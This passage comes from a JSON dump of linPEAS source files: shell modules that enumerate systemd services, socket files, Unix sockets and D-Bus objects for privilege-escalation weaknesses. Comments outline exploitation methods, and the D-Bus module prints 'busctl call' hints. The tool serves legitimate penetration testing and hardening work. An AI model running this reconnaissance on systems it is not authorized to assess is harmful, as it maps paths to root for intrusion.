\"s,$service_unit,${SED_GREEN},\"\n\n      # Get service file path\n      service_path=$(systemctl show \"$service_unit\" -p FragmentPath 2>/dev/null | cut -d= -f2)\n      if [ -n \"$service_path\" ]; then\n        check_service_file \"$service_path\"\n      fi\n\n      # Check service content for privilege escalation vectors\n      check_service_content \"$service_unit\"\n    fi\n  done || echo_not_found\n\n  # Check for disabled but available services\n  echo \"\"\n  print_3title \"Disabled services:\" \"T1543.002,T1007\"\n  systemctl list-unit-files --type=service --state=disabled 2>/dev/null | grep -v \"UNIT FILE\" | while read -r line; do\n    service_unit=$(echo \"$line\" | awk '{print $1}')\n    if [ -n \"$service_unit\" ]; then\n      # Print the service line with highlighting\n      echo \"$line\" | sed -${E} \"s,$service_unit,${SED_GREEN},\"\n\n      # Get service file path\n      service_path=$(systemctl show \"$service_unit\" -p FragmentPath 2>/dev/null | cut -d= -f2)\n      if [ -n \"$service_path\" ]; then\n        check_service_file \"$service_path\"\n      fi\n\n      # Check service content for privilege escalation vectors\n      check_service_content \"$service_unit\"\n    fi\n  done || echo_not_found\n\n  # Check service files from PSTORAGE_SYSTEMD\n  if [ -n \"$PSTORAGE_SYSTEMD\" ]; then\n    echo \"\"\n    print_3title \"Additional service files:\" \"T1543.002,T1007\"\n    printf \"%s\\n\" \"$PSTORAGE_SYSTEMD\" | while read -r service_file; do\n      if [ -n \"$service_file\" ] && [ -e \"$service_file\" ]; then\n        check_service_file \"$service_file\"\n      fi\n    done\n  fi\n\n  # Check for outdated services if EXTRA_CHECKS is enabled\n  if [ \"$EXTRA_CHECKS\" ]; then\n    echo \"\"\n    print_3title \"Service versions and status:\" \"T1543.002,T1007\"\n    if [ \"$TIMEOUT\" ]; then\n      $TIMEOUT 30 sh -c \"(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null\" || echo_not_found \"service|chkconfig|rc-status|launchctl\"\n    else\n      (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found \"service|chkconfig|rc-status|launchctl\"\n    fi\n  fi\n\n  # Check systemd path writability\n  if [ ! \"$WRITABLESYSTEMDPATH\" ]; then \n    echo \"You can't write on systemd PATH\" | sed -${E} \"s,.*,${SED_GREEN},\"\n  else\n    echo \"You can write on systemd PATH\" | sed -${E} \"s,.*,${SED_RED},\"\n    echo \"If a relative path is used, it's possible to abuse it.\"\n  fi\n\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Systemd.sh",
    "content": "# Title: System Information - Systemd\n# ID: SY_Systemd\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Check for systemd vulnerabilities and misconfigurations that could lead to privilege escalation:\n#   - Systemd version vulnerabilities (CVE-2021-4034, CVE-2021-33910, etc.)\n#   - Services running as root that could be exploited\n#   - Services with dangerous capabilities that could be abused\n#   - Services with writable paths that could be used to inject malicious code\n#   - Exploitation methods:\n#     * Version exploits: Use known exploits for vulnerable systemd versions\n#     * Root services: Abuse services running as root to execute commands\n#     * Capabilities: Abuse services with dangerous capabilities (CAP_SYS_ADMIN, etc.)\n#     * Writable paths: Replace executables in writable paths to get code execution\n# License: GNU GPL\n# Version: 1.1\n# Mitre: T1543.002\n# Functions Used: print_2title, print_list, echo_not_found\n# Global Variables: $SEARCH_IN_FOLDER, $Wfolders, $SED_RED, $SED_RED_YELLOW, $NC\n# Initial Functions:\n# Generated Global Variables: $WRITABLESYSTEMDPATH, $line, $service, $file, $version, $user, $caps, $path, $path_line, $service_file, $exec_line, $exec_value, $cmd, $cmd_path, $svc_path_entry, $svc_writable_path\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n    print_2title \"Systemd Information\" \"T1543.002\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths\"\n\n    # Function to check if systemctl is available\n    check_systemctl() {\n        if ! command -v systemctl >/dev/null 2>&1; then\n            echo_not_found \"systemctl\"\n            return 1\n        fi\n        return 0\n    }\n\n    # Function to list running systemd services\n    list_running_services() {\n        systemctl list-units --type=service --state=running 2>/dev/null\n    }\n\n    # Function to get service file path\n    get_service_file() {\n        local service=\"$1\"\n        local file=\"\"\n        for path in \"/etc/systemd/system/$service\" \"/lib/systemd/system/$service\"; do\n            if [ -f \"$path\" ]; then\n                file=\"$path\"\n                break\n            fi\n        done\n        echo \"$file\"\n    }\n\n    # Function to check dangerous capabilities\n    check_dangerous_caps() {\n        local caps=\"$1\"\n        echo \"$caps\" | grep -qE '(CAP_SYS_ADMIN|CAP_DAC_OVERRIDE|CAP_DAC_READ_SEARCH|CAP_SETUID|CAP_SETGID|CAP_NET_ADMIN)'\n        return $?\n    }\n\n    # Check systemd version and known vulnerabilities\n    print_list \"Systemd version and vulnerabilities? .............. \"$NC\n    if check_systemctl; then\n        version=$(systemctl --version | head -n 1 | grep -oE '([0-9]+(\\.[0-9]+)+)')\n        if [ -n \"$version\" ]; then\n            echo \"$version\" | sed -${E} \"s,([0-9]+(\\.[0-9]+)+),${SED_RED},g\"\n            # Check for known vulnerable versions\n            case \"$version\" in\n                \"2.3\"[0-4]|\"2.3\"[0-4]\".\"*)\n                    echo \"  └─ Vulnerable to CVE-2021-4034 (Polkit)\" | sed -${E} \"s,.*,${SED_RED},g\"\n                    ;;\n                \"2.4\"[0-9]|\"2.4\"[0-9]\".\"*)\n                    echo \"  └─ Vulnerable to CVE-2021-33910 (systemd-tmpfiles)\" | sed -${E} \"s,.*,${SED_RED},g\"\n                    ;;\n            esac\n        fi\n    fi\n\n    # Check for systemd services running as root\n    print_list \"Services running as root? ..... \"$NC\n    if check_systemctl; then\n        list_running_services | \n        grep -E \"root|0:0\" | \n        while read -r line; do\n            service=$(echo \"$line\" | awk '{print $1}')\n            user=$(systemctl show \"$service\" -p User 2>/dev/null | cut -d= -f2)\n            echo \"$service (User: $user)\" | sed -${E} \"s,root|0:0,${SED_RED},g\"\n        done\n        echo \"\"\n    else\n        echo \"\"\n    fi\n\n    # Check for systemd services with dangerous capabilities\n    print_list \"Running services with dangerous capabilities? ... \"$NC\n    if check_systemctl; then\n        list_running_services | \n        grep -E \"\\.service\" | \n        while read -r line; do\n            service=$(echo \"$line\" | awk '{print $1}')\n            caps=$(systemctl show \"$service\" -p CapabilityBoundingSet 2>/dev/null | cut -d= -f2)\n            if [ -n \"$caps\" ] && check_dangerous_caps \"$caps\"; then\n                echo \"$service: $caps\" | sed -${E} \"s,.*,${SED_RED},g\"\n            fi\n        done\n        echo \"\"\n    else\n        echo \"\"\n    fi\n\n    # Check for systemd services with writable paths\n    print_list \"Services with writable paths? . \"$NC\n    if check_systemctl; then\n        list_running_services | \n        grep -E \"\\.service\" | \n        while read -r line; do\n            service=$(echo \"$line\" | awk '{print $1}')\n            service_file=$(get_service_file \"$service\")\n            if [ -n \"$service_file\" ]; then\n                # Check service-specific PATH entries (Environment=PATH=...)\n                svc_writable_path=$(grep -E '^Environment=.*PATH=' \"$service_file\" 2>/dev/null | sed -E 's/^Environment=//; s/^\"//; s/\"$//; s/^PATH=//' | tr ':' '\\n' | while read -r svc_path_entry; do\n                    [ -z \"$svc_path_entry\" ] && continue\n                    if [ -d \"$svc_path_entry\" ] && [ -w \"$svc_path_entry\" ]; then\n                        echo \"$svc_path_entry\"\n                    fi\n                done)\n                if [ \"$svc_writable_path\" ]; then\n                    for svc_path_entry in $svc_writable_path; do\n                        echo \"$service: Writable service PATH entry '$svc_path_entry'\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n                    done\n                fi\n\n                # Check ExecStart paths\n                grep -E \"ExecStart|ExecStartPre|ExecStartPost\" \"$service_file\" 2>/dev/null | \n                while read -r exec_line; do\n                    # Extract command from the right side of Exec*=, not from argv\n                    exec_value=\"${exec_line#*=}\"\n                    exec_value=$(echo \"$exec_value\" | sed 's/^[[:space:]]*//')\n                    cmd=$(echo \"$exec_value\" | awk '{print $1}' | tr -d '\"')\n                    # Strip systemd command prefixes (-, @, :, +, !) before path checks\n                    cmd_path=$(echo \"$cmd\" | sed -E 's/^[-@:+!]+//')\n                    \n                    # Only check the command path, not arguments\n                    if [ -n \"$cmd_path\" ] && [ -w \"$cmd_path\" ]; then\n                        echo \"$service: $cmd_path (from $exec_line)\" | sed -${E} \"s,.*,${SED_RED},g\"\n                    fi\n                    # Check for relative paths only in the command, not arguments\n                    if [ -n \"$cmd_path\" ] && [ \"${cmd_path#/}\" = \"$cmd_path\" ] && [ \"${cmd_path#\\$}\" = \"$cmd_path\" ]; then\n                        echo \"$service: Uses relative path '$cmd_path' (from $exec_line)\" | sed -${E} \"s,.*,${SED_RED},g\"\n                        if [ \"$svc_writable_path\" ]; then\n                            echo \"$service: Relative Exec path + writable service PATH can allow path hijacking\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n                        fi\n                    fi\n                done\n            fi\n        done\n    else\n        echo \"\"\n    fi\n\n    echo \"\"\n\n    print_2title \"Systemd PATH\" \"T1543.002\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths\"\n    if check_systemctl; then\n        systemctl show-environment 2>/dev/null | \n        grep \"PATH\" | \n        while read -r path_line; do\n            echo \"$path_line\" | sed -${E} \"s,$Wfolders\\|\\./\\|\\.:\\|:\\.,${SED_RED_YELLOW},g\"\n            # Store writable paths for later use\n            if echo \"$path_line\" | grep -qE \"$Wfolders\"; then\n                WRITABLESYSTEMDPATH=\"$path_line\"\n            fi\n        done\n    fi\n\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Socket Files Analysis\n# ID: PR_Socket_files\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Analyze .socket files for privilege escalation vectors:\n#   - Writable socket files\n#   - Socket files executing writable binaries\n#   - Socket files with writable listeners\n#   - Socket files with relative paths\n#   - Socket files with unsafe configurations\n# License: GNU GPL\n# Version: 1.2\n# Mitre: T1559\n# Functions Used: print_2title, print_info, print_list\n# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $SED_RED, $SED_RED_YELLOW, $NC\n# Initial Functions:\n# Generated Global Variables: $exec_path, $listen_path, $path, $exec_paths, $finding, $listen_paths, $socket_file, $findings, $target_file, $target_listen, $target_exec, $lpath\n# Fat linpeas: 0\n# Small linpeas: 0\n\nif ! [ \"$IAMROOT\" ]; then\n    print_2title \"Analyzing .socket files\" \"T1559\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets\"\n\n    # Function to check if path is relative\n    is_relative_path() {\n        local lpath=\"$1\"\n        case \"$lpath\" in\n            /*) return 1 ;; # Absolute path\n            *) return 0 ;;  # Relative path\n        esac\n    }\n\n    # Function to check socket file content\n    check_socket_file() {\n        local socket_file=\"$1\"\n        local findings=\"\"\n\n        # Check if socket file is writable (following symlinks)\n        if [ -L \"$socket_file\" ]; then\n            # If it's a symlink, check the target file\n            local target_file=$(readlink -f \"$socket_file\")\n            if ! [ \"$IAMROOT\" ] && [ -w \"$target_file\" ] && [ -f \"$target_file\" ] && ! [ \"$SEARCH_IN_FOLDER\" ]; then\n                findings=\"${findings}WRITABLE_FILE: Socket target file is writable: $target_file\\n\"\n            fi\n        elif ! [ \"$IAMROOT\" ] && [ -w \"$socket_file\" ] && [ -f \"$socket_file\" ] && ! [ \"$SEARCH_IN_FOLDER\" ]; then\n            findings=\"${findings}WRITABLE_FILE: Socket file is writable\\n\"\n        fi\n\n        # Check for weak permissions (following symlinks)\n        if [ \"$(stat -L -c %a \"$socket_file\" 2>/dev/null)\" = \"777\" ]; then\n            findings=\"${findings}WEAK_PERMS: Socket file has 777 permissions\\n\"\n        fi\n\n        # Check for executables (following symlinks)\n        local exec_paths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\\-]+' \"$socket_file\" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\\+!-]*,,')\n        printf \"%s\\n\" \"$exec_paths\" | while read -r exec_path; do\n            if [ -n \"$exec_path\" ]; then\n                # Check if executable is writable (following symlinks)\n                if [ -L \"$exec_path\" ]; then\n                    local target_exec=$(readlink -f \"$exec_path\")\n                    if [ -w \"$target_exec\" ]; then\n                        findings=\"${findings}WRITABLE_EXEC: Executable target is writable: $target_exec\\n\"\n                    fi\n                    # Check for weak permissions on target\n                    if [ -e \"$target_exec\" ] && [ \"$(stat -L -c %a \"$target_exec\" 2>/dev/null)\" = \"777\" ]; then\n                        findings=\"${findings}WEAK_EXEC_PERMS: Executable target has 777 permissions: $target_exec\\n\"\n                    fi\n                else\n                    if [ -w \"$exec_path\" ]; then\n                        findings=\"${findings}WRITABLE_EXEC: Executable is writable: $exec_path\\n\"\n                    fi\n                    # Check for weak permissions\n                    if [ -e \"$exec_path\" ] && [ \"$(stat -L -c %a \"$exec_path\" 2>/dev/null)\" = \"777\" ]; then\n                        findings=\"${findings}WEAK_EXEC_PERMS: Executable has 777 permissions: $exec_path\\n\"\n                    fi\n                fi\n                # Check for relative paths\n                if is_relative_path \"$exec_path\"; then\n                    findings=\"${findings}RELATIVE_PATH: Uses relative path: $exec_path\\n\"\n                fi\n            fi\n        done\n\n        # Check for listeners (following symlinks)\n        local listen_paths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\\-]+' \"$socket_file\" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\\+!-]*,,')\n        printf \"%s\\n\" \"$listen_paths\" | while read -r listen_path; do\n            if [ -n \"$listen_path\" ]; then\n                # Check if listener path is writable (following symlinks)\n                if [ -L \"$listen_path\" ]; then\n                    local target_listen=$(readlink -f \"$listen_path\")\n                    if [ -w \"$target_listen\" ]; then\n                        findings=\"${findings}WRITABLE_LISTENER: Listener target path is writable: $target_listen\\n\"\n                    fi\n                    # Check for weak permissions on target\n                    if [ -e \"$target_listen\" ] && [ \"$(stat -L -c %a \"$target_listen\" 2>/dev/null)\" = \"777\" ]; then\n                        findings=\"${findings}WEAK_LISTENER_PERMS: Listener target path has 777 permissions: $target_listen\\n\"\n                    fi\n                else\n                    if [ -w \"$listen_path\" ]; then\n                        findings=\"${findings}WRITABLE_LISTENER: Listener path is writable: $listen_path\\n\"\n                    fi\n                    # Check for weak permissions\n                    if [ -e \"$listen_path\" ] && [ \"$(stat -L -c %a \"$listen_path\" 2>/dev/null)\" = \"777\" ]; then\n                        findings=\"${findings}WEAK_LISTENER_PERMS: Listener path has 777 permissions: $listen_path\\n\"\n                    fi\n                fi\n                # Check for relative paths\n                if is_relative_path \"$listen_path\"; then\n                    findings=\"${findings}RELATIVE_LISTENER: Uses relative path: $listen_path\\n\"\n                fi\n            fi\n        done\n\n        # Check for unsafe configurations\n        if grep -qE '^(User|Group)=root' \"$socket_file\" 2>/dev/null; then\n            findings=\"${findings}ROOT_USER: Socket runs as root\\n\"\n        fi\n        if grep -qE '^(CapabilityBoundingSet).*CAP_SYS_ADMIN' \"$socket_file\" 2>/dev/null; then\n            findings=\"${findings}DANGEROUS_CAPS: Has dangerous capabilities\\n\"\n        fi\n        if grep -qE '^(BindIP|BindIPv6Only)=yes' \"$socket_file\" 2>/dev/null; then\n            findings=\"${findings}NETWORK_BIND: Can bind to network interfaces\\n\"\n        fi\n\n        # If any findings, print them\n        if [ -n \"$findings\" ]; then\n            echo \"Potential privilege escalation in socket file: $socket_file\"\n            echo \"$findings\" | while read -r finding; do\n                [ -n \"$finding\" ] && echo \"  └─ $finding\" | sed -${E} \"s,WRITABLE.*,${SED_RED},g\" | sed -${E} \"s,RELATIVE.*,${SED_RED_YELLOW},g\"\n            done\n        fi\n    }\n\n    # Process each socket file\n    if [ -n \"$PSTORAGE_SOCKET\" ]; then\n        printf \"%s\\n\" \"$PSTORAGE_SOCKET\" | while read -r socket_file; do\n            if [ -n \"$socket_file\" ] && [ -e \"$socket_file\" ]; then\n                check_socket_file \"$socket_file\"\n            fi\n        done\n    else\n        print_list \"No socket files found\" \"$NC\"\n    fi\n\n    echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Unix Sockets Analysis\n# ID: PR_Unix_sockets_listening\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Analyze Unix sockets for privilege escalation vectors:\n#   - Listening Unix sockets\n#   - Socket file permissions\n#   - Socket ownership\n#   - Socket connectivity\n#   - Socket protocol analysis\n# License: GNU GPL\n# Version: 1.1\n# Mitre: T1571,T1049\n# Functions Used: print_2title, print_info\n# Global Variables: $EXTRA_CHECKS, $groupsB, $groupsVB, $IAMROOT, $idB, $knw_grps, $knw_usrs, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $SED_RED, $SED_GREEN, $SED_RED_YELLOW, $NC, $RED\n# Initial Functions:\n# Generated Global Variables: $unix_scks_list, $unix_scks_list2, $perms, $owner, $owner_info, $response, $socket, $cmd, $mode, $group\n# Fat linpeas: 0\n# Small linpeas: 0\n\nif ! [ \"$IAMROOT\" ]; then\n    if ! [ \"$SEARCH_IN_FOLDER\" ]; then\n        print_2title \"Unix Sockets Analysis\" \"T1571,T1049\"\n        print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets\"\n\n\n        # Function to get socket permissions\n        get_socket_perms() {\n            local socket=\"$1\"\n            local perms=\"\"\n            \n            # Check read permission\n            if [ -r \"$socket\" ]; then\n                perms=\"Read \"\n            fi\n            \n            # Check write permission\n            if [ -w \"$socket\" ]; then\n                perms=\"${perms}Write \"\n            fi\n            \n            # Check execute permission\n            if [ -x \"$socket\" ]; then\n                perms=\"${perms}Execute \"\n            fi\n            \n            # Check socket mode\n            local mode=$(stat -c \"%a\" \"$socket\" 2>/dev/null)\n            if [ \"$mode\" = \"777\" ] || [ \"$mode\" = \"666\" ]; then\n                perms=\"${perms}(Weak Permissions: $mode) \"\n            fi\n            \n            echo \"$perms\"\n        }\n\n        # Function to check socket connectivity\n        check_socket_connectivity() {\n            local socket=\"$1\"\n            local perms=\"$2\"\n            \n            if [ \"$EXTRA_CHECKS\" ] && command -v curl >/dev/null 2>&1; then\n                # Try to connect to the socket\n                if curl -v --unix-socket \"$socket\" --max-time 1 http:/linpeas 2>&1 | grep -iq \"Permission denied\"; then\n                    perms=\"${perms} - Cannot Connect\"\n                else\n                    perms=\"${perms} - Can Connect\"\n                fi\n            fi\n            \n            echo \"$perms\"\n        }\n\n        # Function to analyze socket protocol\n        analyze_socket_protocol() {\n            local socket=\"$1\"\n            local owner=\"$2\"\n            local response=\"\"\n            \n            # Try to get HTTP response\n            if command -v curl >/dev/null 2>&1; then\n                response=$(curl --max-time 2 --unix-socket \"$socket\" http:/index 2>/dev/null)\n                if [ $? -eq 0 ]; then\n                    echo \"  └─ HTTP Socket (owned by $owner):\" | sed -${E} \"s,$groupsB,${SED_RED},g\" | sed -${E} \"s,$groupsVB,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$knw_grps,${SED_GREEN},g\" | sed -${E} \"s,$idB,${SED_RED},g\"\n                    echo \"     └─ Response to /index (limit 30):\"\n                    echo \"$response\" | head -n 30 | sed 's/^/       /'\n                fi\n            fi\n        }\n\n        # Function to get socket owner and group\n        get_socket_owner() {\n            local socket=\"$1\"\n            local owner=\"\"\n            local group=\"\"\n            \n            if [ -e \"$socket\" ]; then\n                owner=$(ls -l \"$socket\" 2>/dev/null | awk '{print $3}')\n                group=$(ls -l \"$socket\" 2>/dev/null | awk '{print $4}')\n                echo \"$owner:$group\"\n            fi\n        }\n\n        # Collect listening sockets using multiple methods\n        unix_scks_list=\"\"\n        for cmd in \"ss -xlp -H state listening\" \"ss -l -p -A 'unix'\" \"netstat -a -p --unix\"; do\n            if [ -z \"$unix_scks_list\" ]; then\n                unix_scks_list=$($cmd 2>/dev/null | grep -Eo \"/[a-zA-Z0-9\\._/\\-]+\" | grep -v \" \" | sort -u)\n            fi\n        done\n\n        # Get additional socket information\n        if [ -z \"$unix_scks_list\" ]; then\n            unix_scks_list=$(lsof -U 2>/dev/null | awk '{print $9}' | grep \"/\" | sort -u)\n        fi\n\n        # Find socket files\n        if ! [ \"$SEARCH_IN_FOLDER\" ]; then\n            unix_scks_list2=$(find / -type s 2>/dev/null)\n        else\n            unix_scks_list2=$(find \"$SEARCH_IN_FOLDER\" -type s 2>/dev/null)\n        fi\n\n        # Process all found sockets\n        (printf \"%s\\n\" \"$unix_scks_list\" && printf \"%s\\n\" \"$unix_scks_list2\") | sort -u | while read -r socket; do\n            if [ -n \"$socket\" ] && [ -e \"$socket\" ]; then\n                # Get socket information\n                perms=$(get_socket_perms \"$socket\")\n                perms=$(check_socket_connectivity \"$socket\" \"$perms\")\n                owner_info=$(get_socket_owner \"$socket\")\n                \n                # Print socket information\n                if [ -z \"$perms\" ]; then\n                    echo \"$socket\" | sed -${E} \"s,$socket,${SED_GREEN},g\"\n                else\n                    echo \"$socket\" | sed -${E} \"s,$socket,${SED_RED},g\"\n                    echo \"  └─(${RED}${perms}${NC})\" | sed -${E} \"s,Cannot Connect,${SED_GREEN},g\"\n                    \n                    # Analyze socket protocol if we can connect\n                    if echo \"$perms\" | grep -q \"Can Connect\"; then\n                        analyze_socket_protocol \"$socket\" \"$owner_info\"\n                    fi\n                    \n                    # Highlight dangerous ownership\n                    if echo \"$owner_info\" | grep -q \"root\"; then\n                        echo \"  └─(${RED}Owned by root${NC})\"\n                        if echo \"$perms\" | grep -q \"Write\"; then\n                            echo \"  └─High risk: root-owned and writable Unix socket\" | sed -${E} \"s,.*,${SED_RED_YELLOW},g\"\n                        fi\n                    fi\n                fi\n            fi\n        done\n    fi\n    echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh",
    "content": "# Title: Processes & Cron & Services & Timers - D-Bus Analysis\n# ID: PR_DBus_analysis\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Comprehensive D-Bus analysis for privilege escalation vectors:\n#   - D-Bus Service Objects enumeration\n#   - D-Bus Service Object permissions and ownership\n#   - D-Bus Configuration files analysis\n#   - D-Bus Policy analysis\n#   - D-Bus Method and Interface analysis\n#   - D-Bus Privilege Escalation Vectors\n# License: GNU GPL\n# Version: 1.3\n# Mitre: T1559.001\n# Functions Used: print_2title, print_3title, print_info, echo_not_found\n# Global Variables: $IAMROOT, $mygroups, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $dbuslistG, $knw_usrs, $rootcommon, $SED_RED, $SED_GREEN, $SED_BLUE, $SED_LIGHT_CYAN, $SED_LIGHT_MAGENTA, $NC\n# Initial Functions:\n# Generated Global Variables: $dbuslist, $srvc_object, $genpol, $userpol, $grppol, $dangerous_service, $pattern, $dir, $weak_policies, $dangerous_services, $dangerous, $dbussrvc_object, $patterns, $methods, $file, $dbusservice, $session_services, $prop, $dangerous_session_services, $interface, $dangerous_methods, $dbus_file, $dbus_service, $method, $dangerous_patterns, $properties, $interfaces, $dangerous_props, $service, $info, $allow_rules\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n    print_2title \"D-Bus Analysis\" \"T1559.001\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus\"\n\n\n    # Function to check for dangerous methods\n    check_dangerous_methods() {\n        service=\"$1\"\n        interface=\"$2\"\n        dangerous=0\n        dangerous_methods=\"\"\n        \n        # Common dangerous method patterns - using space-separated string instead of array\n        patterns=\"StartUnit StopUnit RestartUnit EnableUnit DisableUnit SetProperty SetUser SetPassword CreateUser DeleteUser ModifyUser Execute Run Spawn Shell Command Exec Authenticate Login Logout Reboot Shutdown PowerOff Suspend Hibernate Update Install Uninstall Configure Modify Change Delete Remove Add Create Write Read Access Grant Revoke Allow Deny\"\n        \n        # Get methods for the interface\n        methods=$(busctl introspect \"$service\" \"$interface\" 2>/dev/null | grep \"method\" | awk '{print $2}')\n        \n        # Check each method against dangerous patterns\n        for method in $methods; do\n            for pattern in $patterns; do\n                if echo \"$method\" | grep -qi \"$pattern\"; then\n                    dangerous=1\n                    dangerous_methods=\"${dangerous_methods}${method} \"\n                fi\n            done\n        done\n        \n        if [ \"$dangerous\" -eq 1 ]; then\n            echo \"  └─(${RED}Potentially dangerous methods found${NC})\"\n            echo \"     └─ $dangerous_methods\" | sed 's/^/        /'\n        fi\n        \n        return $dangerous\n    }\n\n    # Function to check for dangerous properties\n    check_dangerous_properties() {\n        service=\"$1\"\n        interface=\"$2\"\n        dangerous=0\n        dangerous_props=\"\"\n        \n        # Common dangerous property patterns - using space-separated string instead of array\n        patterns=\"Executable Command Path User Group Permission Access Auth Password Secret Key Token Credential Config Setting Policy Rule Allow Deny Write Read Execute\"\n        \n        # Get properties for the interface\n        properties=$(busctl introspect \"$service\" \"$interface\" 2>/dev/null | grep \"property\" | awk '{print $2}')\n        \n        # Check each property against dangerous patterns\n        for prop in $properties; do\n            for pattern in $patterns; do\n                if echo \"$prop\" | grep -qi \"$pattern\"; then\n                    dangerous=1\n                    dangerous_props=\"${dangerous_props}${prop} \"\n                fi\n            done\n        done\n        \n        if [ \"$dangerous\" -eq 1 ]; then\n            echo \"  └─(${RED}Potentially dangerous properties found${NC})\"\n            echo \"     └─ $dangerous_props\" | sed 's/^/        /'\n        fi\n        \n        return $dangerous\n    }\n\n    # Function to analyze service object\n    analyze_service_object() {\n        dbusservice=\"$1\"\n        info=\"\"\n        dangerous=0\n        \n        # Get service status\n        info=$(busctl status \"$dbusservice\" 2>/dev/null)\n        \n        # Check for root ownership\n        if echo \"$info\" | grep -qE \"^(UID|EUID|OwnerUID)=0\"; then\n            echo \"  └─(${RED}Running as root${NC})\"\n            dangerous=1\n        fi\n        \n        # Get service interfaces\n        interfaces=$(busctl tree \"$dbusservice\" 2>/dev/null)\n        if [ -n \"$interfaces\" ]; then\n            echo \"  └─ Interfaces:\"\n            echo \"$interfaces\" | sed 's/^/     /'\n            \n            # Check each interface for dangerous methods and properties\n            echo \"$interfaces\" | while read -r interface; do\n                if [ -n \"$interface\" ]; then\n                    if check_dangerous_methods \"$dbusservice\" \"$interface\"; then\n                        dangerous=1\n                    fi\n                    if check_dangerous_properties \"$dbusservice\" \"$interface\"; then\n                        dangerous=1\n                    fi\n                fi\n            done\n        fi\n        \n        # Check for known dangerous services - using space-separated string instead of array\n        dangerous_services=\"org.freedesktop.systemd1 org.freedesktop.PolicyKit1 org.freedesktop.Accounts org.freedesktop.login1 org.freedesktop.hostname1 org.freedesktop.timedate1 org.freedesktop.locale1 org.freedesktop.machine1 org.freedesktop.portable1 org.freedesktop.resolve1 org.freedesktop.timesync1 org.freedesktop.import1 org.freedesktop.export1 org.gnome.SettingsDaemon org.gnome.Shell org.gnome.SessionManager org.gnome.DisplayManager org.gnome.ScreenSaver\"\n        \n        for dangerous_service in $dangerous_services; do\n            if echo \"$dbusservice\" | grep -qi \"$dangerous_service\"; then\n                echo \"  └─(${RED}Known dangerous service: $dangerous_service${NC})\"\n                dangerous=1\n            fi\n        done\n        \n        # If service is dangerous, provide exploitation hints\n        if [ \"$dangerous\" -eq 1 ]; then\n            echo \"  └─(${RED}Potential privilege escalation vector${NC})\"\n            echo \"     └─ Try: busctl call $dbusservice / [Interface] [Method] [Arguments]\"\n            echo \"     └─ Or: dbus-send --session --dest=$dbusservice / [Interface] [Method] [Arguments]\"\n        fi\n    }\n\n    # Function to analyze policy file\n    analyze_policy_file() {\n        file=\"$1\"\n        weak_policies=0\n        \n        # Check file permissions\n        if ! [ \"$IAMROOT\" ] && [ -w \"$file\" ]; then\n            echo \"  └─(${RED}Writable policy file${NC})\"\n            weak_policies=$((weak_policies + 1))\n        fi\n        \n        # Check general policy\n        genpol=$(grep \"<policy>\" \"$file\" 2>/dev/null)\n        if [ -n \"$genpol\" ]; then\n            echo \"  └─(${RED}Weak general policy found${NC})\"\n            echo \"     └─ $genpol\" | sed 's/^/        /'\n            weak_policies=$((weak_policies + 1))\n        fi\n        \n        # Check user policies\n        userpol=$(grep \"<policy user=\" \"$file\" 2>/dev/null | grep -v \"root\")\n        if [ -n \"$userpol\" ]; then\n            echo \"  └─(${RED}Weak user policy found${NC})\"\n            echo \"     └─ $userpol\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_RED},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\"\n            weak_policies=$((weak_policies + 1))\n        fi\n        \n        # Check group policies\n        grppol=$(grep \"<policy group=\" \"$file\" 2>/dev/null | grep -v \"root\")\n        if [ -n \"$grppol\" ]; then\n            echo \"  └─(${RED}Weak group policy found${NC})\"\n            echo \"     └─ $grppol\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},g\" | sed \"s,$USER,${SED_RED},g\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$mygroups,${SED_RED},g\"\n            weak_policies=$((weak_policies + 1))\n        fi\n        \n        # Check for allow rules in default context\n        allow_rules=$(grep -A 5 